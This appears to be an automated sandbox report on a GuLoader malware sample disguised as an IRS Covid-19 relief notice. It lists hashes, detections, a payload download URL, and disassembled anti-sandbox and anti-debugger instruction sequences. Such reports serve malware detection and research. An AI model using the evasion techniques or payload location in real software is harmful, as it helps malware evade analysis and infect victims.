Play interactive tour

Edit tour

Analysis Report IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Overview

General Information

Sample Name:	IRS_Covid-19_Relief_Payment_Notice_pdf.exe
Analysis ID:	344014
MD5:	5525bb8a978d3ac15812c8d8ca9b8a57
SHA1:	dcb9549ff9c290e056f83639ad546b03206a0806
SHA256:	21f49ea6e105c22882a9fb0065803deee18eddb76767a30ddade2e2725eb65d9
Most interesting Screenshot:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Contains functionality to hide a thread from the debugger

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Executable has a suspicious name (potential lure to open the executable)

Hides threads from debuggers

Initial sample is a PE file and has a suspicious name

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Yara detected VB6 Downloader Generic

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

IRS_Covid-19_Relief_Payment_Notice_pdf.exe (PID: 7120 cmdline: 'C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe' MD5: 5525BB8A978D3AC15812C8D8CA9B8A57)

IRS_Covid-19_Relief_Payment_Notice_pdf.exe (PID: 4168 cmdline: 'C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe' MD5: 5525BB8A978D3AC15812C8D8CA9B8A57)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: IRS_Covid-19_Relief_Payment_Notice_pdf.exe PID: 7120	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: IRS_Covid-19_Relief_Payment_Notice_pdf.exe PID: 7120	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: IRS_Covid-19_Relief_Payment_Notice_pdf.exe PID: 4168	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: IRS_Covid-19_Relief_Payment_Notice_pdf.exe PID: 4168	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for domain / URL

Show sources

Source: chengsolution.com	Virustotal: Detection: 8%			Perma Link
Source: https://chengsolution.com/vr/tembin_AbNFdk131.bin	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Virustotal: Detection: 67%	Perma Link
Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Metadefender: Detection: 37%	Perma Link
Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe	ReversingLabs: Detection: 75%

Compliance:

Uses 32bit PE files

Show sources

Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Uses secure TLS version for HTTPS connections

Show sources

Source: unknown

HTTPS traffic detected: 162.0.209.179:443 -> 192.168.2.4:49745 version: TLS 1.2

Networking:

Source: Joe Sandbox View

ASN Name: ACPCA ACPCA

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Code function: 2_2_0056907C LoadLibraryA,InternetReadFile,

2_2_0056907C

Source: unknown

DNS traffic detected: queries for: chengsolution.com

Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe

String found in binary or memory: https://chengsolution.com/vr/tembin_AbNFdk131.bin

Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown

HTTPS traffic detected: 162.0.209.179:443 -> 192.168.2.4:49745 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe, 00000000.00000002.679600218.000000000074A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Executable has a suspicious name (potential lure to open the executable)

Show sources

Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Static file information: Suspicious name

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample	Static PE information: Filename: IRS_Covid-19_Relief_Payment_Notice_pdf.exe
Source: initial sample	Static PE information: Filename: IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02418B05 NtProtectVirtualMemory,	0_2_02418B05
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_0241907C LoadLibraryA,NtResumeThread,	0_2_0241907C
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024108BF EnumWindows,NtSetInformationThread,	0_2_024108BF
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02414EE3 NtWriteVirtualMemory,LoadLibraryA,	0_2_02414EE3
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02410A4D NtSetInformationThread,	0_2_02410A4D
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02419271 NtResumeThread,	0_2_02419271
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02419202 NtResumeThread,	0_2_02419202
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02410A0D NtSetInformationThread,	0_2_02410A0D
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02419215 NtResumeThread,	0_2_02419215
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413A2E NtWriteVirtualMemory,	0_2_02413A2E
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_0241923E NtResumeThread,	0_2_0241923E
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413AF6 NtWriteVirtualMemory,	0_2_02413AF6
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413A88 NtWriteVirtualMemory,	0_2_02413A88
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02412294 NtSetInformationThread,NtWriteVirtualMemory,	0_2_02412294
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024192AA NtResumeThread,	0_2_024192AA
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02417B5F NtSetInformationThread,	0_2_02417B5F
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413B61 NtWriteVirtualMemory,	0_2_02413B61
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02419369 NtResumeThread,	0_2_02419369
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_0241932C NtResumeThread,	0_2_0241932C
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024193D4 NtResumeThread,	0_2_024193D4
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024153E5 NtWriteVirtualMemory,	0_2_024153E5
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02419396 NtResumeThread,	0_2_02419396
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413BB6 NtWriteVirtualMemory,	0_2_02413BB6
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413868 NtWriteVirtualMemory,	0_2_02413868
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413819 NtWriteVirtualMemory,	0_2_02413819
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024190D4 NtResumeThread,	0_2_024190D4
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024138E0 NtWriteVirtualMemory,	0_2_024138E0
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02419082 NtWriteVirtualMemory,NtResumeThread,	0_2_02419082
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02410943 NtSetInformationThread,	0_2_02410943
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_0241094D NtSetInformationThread,	0_2_0241094D
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413929 NtWriteVirtualMemory,	0_2_02413929
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02419128 NtResumeThread,	0_2_02419128
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024139D1 NtWriteVirtualMemory,	0_2_024139D1
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024191D6 NtResumeThread,	0_2_024191D6
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413980 NtWriteVirtualMemory,	0_2_02413980
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024109BE NtSetInformationThread,	0_2_024109BE
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413E4E NtWriteVirtualMemory,	0_2_02413E4E
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413E07 NtWriteVirtualMemory,	0_2_02413E07
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02419608 NtResumeThread,	0_2_02419608
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413E34 NtWriteVirtualMemory,	0_2_02413E34
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_0241963E NtResumeThread,	0_2_0241963E
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024196D4 NtResumeThread,	0_2_024196D4
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024136ED NtWriteVirtualMemory,	0_2_024136ED
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024196A5 NtResumeThread,	0_2_024196A5
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413745 NtWriteVirtualMemory,	0_2_02413745
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02419711 NtResumeThread,	0_2_02419711
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024137BD NtWriteVirtualMemory,	0_2_024137BD
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413C56 NtWriteVirtualMemory,	0_2_02413C56
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_0241945D NtResumeThread,	0_2_0241945D
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413CE4 NtWriteVirtualMemory,	0_2_02413CE4
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024194FA NtResumeThread,	0_2_024194FA
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02419571 NtResumeThread,	0_2_02419571
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02419531 NtResumeThread,	0_2_02419531
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413DD9 NtWriteVirtualMemory,	0_2_02413DD9
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024195E5 NtResumeThread,	0_2_024195E5
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02413D8E NtWriteVirtualMemory,	0_2_02413D8E
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_005608BF EnumWindows,NtSetInformationThread,	2_2_005608BF
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00568B05 NtProtectVirtualMemory,	2_2_00568B05
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00560943 NtSetInformationThread,	2_2_00560943
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_0056094D NtSetInformationThread,	2_2_0056094D
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_005609BE NtSetInformationThread,	2_2_005609BE
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00560A4D NtSetInformationThread,	2_2_00560A4D
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00560A0D NtSetInformationThread,	2_2_00560A0D
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00562294 NtSetInformationThread,	2_2_00562294
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00567B5F NtSetInformationThread,	2_2_00567B5F
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00561374 NtProtectVirtualMemory,	2_2_00561374
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_0056137C NtProtectVirtualMemory,	2_2_0056137C
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_005613C0 NtProtectVirtualMemory,	2_2_005613C0

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_0040187B		0_2_0040187B
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_0040422B		0_2_0040422B

Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe, 00000000.00000000.646048005.0000000000415000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameauricular.exe vs IRS_Covid-19_Relief_Payment_Notice_pdf.exe
Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe, 00000000.00000002.679589804.0000000000730000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameuser32j% vs IRS_Covid-19_Relief_Payment_Notice_pdf.exe
Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe, 00000002.00000002.1006189759.000000001DDA0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs IRS_Covid-19_Relief_Payment_Notice_pdf.exe
Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe, 00000002.00000000.678655791.0000000000415000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameauricular.exe vs IRS_Covid-19_Relief_Payment_Notice_pdf.exe
Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe, 00000002.00000002.1006207484.000000001DEF0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs IRS_Covid-19_Relief_Payment_Notice_pdf.exe
Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Binary or memory string: OriginalFilenameauricular.exe vs IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: classification engine

Classification label: mal100.troj.evad.winEXE@3/0@1/1

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\~DF49EDEC8FC18F3BDF.TMP

Jump to behavior

Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Virustotal: Detection: 67%
Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Metadefender: Detection: 37%
Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe	ReversingLabs: Detection: 75%

Source: unknown	Process created: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe 'C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe'
Source: unknown	Process created: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe 'C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe'
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Process created: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe 'C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe'	Jump to behavior

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match	File source: Process Memory Space: IRS_Covid-19_Relief_Payment_Notice_pdf.exe PID: 7120, type: MEMORY
Source: Yara match	File source: Process Memory Space: IRS_Covid-19_Relief_Payment_Notice_pdf.exe PID: 4168, type: MEMORY

Yara detected VB6 Downloader Generic

Show sources

Source: Yara match	File source: Process Memory Space: IRS_Covid-19_Relief_Payment_Notice_pdf.exe PID: 7120, type: MEMORY
Source: Yara match	File source: Process Memory Space: IRS_Covid-19_Relief_Payment_Notice_pdf.exe PID: 4168, type: MEMORY

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02415B5E push edi; retf		0_2_02415B5F
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00565B5E push edi; retf		2_2_00565B5F

Hooking and other Techniques for Hiding and Protection:

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Show sources

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02414EE3 NtWriteVirtualMemory,LoadLibraryA,	0_2_02414EE3
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_02412294 NtSetInformationThread,NtWriteVirtualMemory,	0_2_02412294
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_0241838A	0_2_0241838A
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 0_2_024136DF	0_2_024136DF
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00562294 NtSetInformationThread,	2_2_00562294
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_0056838A	2_2_0056838A
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_005636DF	2_2_005636DF
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Code function: 2_2_00564EE3 LoadLibraryA,	2_2_00564EE3

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Show sources

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	RDTSC instruction interceptor: First address: 0000000002417D79 second address: 0000000002417D79 instructions:
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	RDTSC instruction interceptor: First address: 00000000005617E4 second address: 0000000000567569 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a pop dword ptr [ebp+000000B4h] 0x00000010 cmp ax, bx 0x00000013 jmp 00007F10843A64E6h 0x00000015 test ecx, 108D7A16h 0x0000001b test dh, bh 0x0000001d push dword ptr [ebp+64h] 0x00000020 test ah, FFFFFFE3h 0x00000023 push 00000367h 0x00000028 push ecx 0x00000029 mov ecx, 22739622h 0x0000002e cmp ecx, 22739622h 0x00000034 jne 00007F10843A55B1h 0x0000003a pop ecx 0x0000003b push 00000031h 0x0000003d cmp dl, bl 0x0000003f push dword ptr [ebp+000000B4h] 0x00000045 call 00007F10843AC1B8h 0x0000004a cmp ebx, ecx 0x0000004c cmp dl, FFFFFFF3h 0x0000004f mov edx, dword ptr [esp+04h] 0x00000053 test ebx, edx 0x00000055 mov ecx, dword ptr [esp+08h] 0x00000059 test al, 1Eh 0x0000005b add edx, ecx 0x0000005d neg ecx 0x0000005f mov ebx, dword ptr [esp+0Ch] 0x00000063 cmp edx, F9C1C0D7h 0x00000069 mov eax, dword ptr [esp+10h] 0x0000006d pushad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	RDTSC instruction interceptor: First address: 0000000000567569 second address: 0000000000567569 instructions:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	RDTSC instruction interceptor: First address: 0000000002417D79 second address: 0000000002417D79 instructions:
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	RDTSC instruction interceptor: First address: 000000000241870B second address: 000000000241870B instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a popad 0x0000000b inc ecx 0x0000000c inc ebx 0x0000000d cmp dword ptr [ebx], 9090C350h 0x00000013 jne 00007F10843A6503h 0x00000015 cmp edx, dword ptr [ebx] 0x00000017 jne 00007F10843A64D8h 0x00000019 cmp byte ptr [ebx], FFFFFFE8h 0x0000001c jne 00007F10843A657Ah 0x00000022 cmp byte ptr [ebx], FFFFFFB8h 0x00000025 jne 00007F10843A650Eh 0x00000027 cmp ecx, 00002000h 0x0000002d jne 00007F10843A6338h 0x00000033 pushad 0x00000034 lfence 0x00000037 rdtsc
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	RDTSC instruction interceptor: First address: 000000000056870B second address: 000000000056870B instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a popad 0x0000000b inc ecx 0x0000000c inc ebx 0x0000000d cmp dword ptr [ebx], 9090C350h 0x00000013 jne 00007F1084A0CD13h 0x00000015 cmp edx, dword ptr [ebx] 0x00000017 jne 00007F1084A0CCE8h 0x00000019 cmp byte ptr [ebx], FFFFFFE8h 0x0000001c jne 00007F1084A0CD8Ah 0x00000022 cmp byte ptr [ebx], FFFFFFB8h 0x00000025 jne 00007F1084A0CD1Eh 0x00000027 cmp ecx, 00002000h 0x0000002d jne 00007F1084A0CB48h 0x00000033 pushad 0x00000034 lfence 0x00000037 rdtsc
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	RDTSC instruction interceptor: First address: 00000000005617E4 second address: 0000000000567569 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a pop dword ptr [ebp+000000B4h] 0x00000010 cmp ax, bx 0x00000013 jmp 00007F10843A64E6h 0x00000015 test ecx, 108D7A16h 0x0000001b test dh, bh 0x0000001d push dword ptr [ebp+64h] 0x00000020 test ah, FFFFFFE3h 0x00000023 push 00000367h 0x00000028 push ecx 0x00000029 mov ecx, 22739622h 0x0000002e cmp ecx, 22739622h 0x00000034 jne 00007F10843A55B1h 0x0000003a pop ecx 0x0000003b push 00000031h 0x0000003d cmp dl, bl 0x0000003f push dword ptr [ebp+000000B4h] 0x00000045 call 00007F10843AC1B8h 0x0000004a cmp ebx, ecx 0x0000004c cmp dl, FFFFFFF3h 0x0000004f mov edx, dword ptr [esp+04h] 0x00000053 test ebx, edx 0x00000055 mov ecx, dword ptr [esp+08h] 0x00000059 test al, 1Eh 0x0000005b add edx, ecx 0x0000005d neg ecx 0x0000005f mov ebx, dword ptr [esp+0Ch] 0x00000063 cmp edx, F9C1C0D7h 0x00000069 mov eax, dword ptr [esp+10h] 0x0000006d pushad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	RDTSC instruction interceptor: First address: 0000000000567569 second address: 0000000000567569 instructions:

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Code function: 0_2_02410BA5 rdtsc

0_2_02410BA5

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe

Window / User API: threadDelayed 8415

Jump to behavior

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe

API coverage: 7.2 %

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe TID: 4240	Thread sleep count: 200 > 30			Jump to behavior
Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe TID: 4240	Thread sleep time: -2000000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Last function: Thread delayed
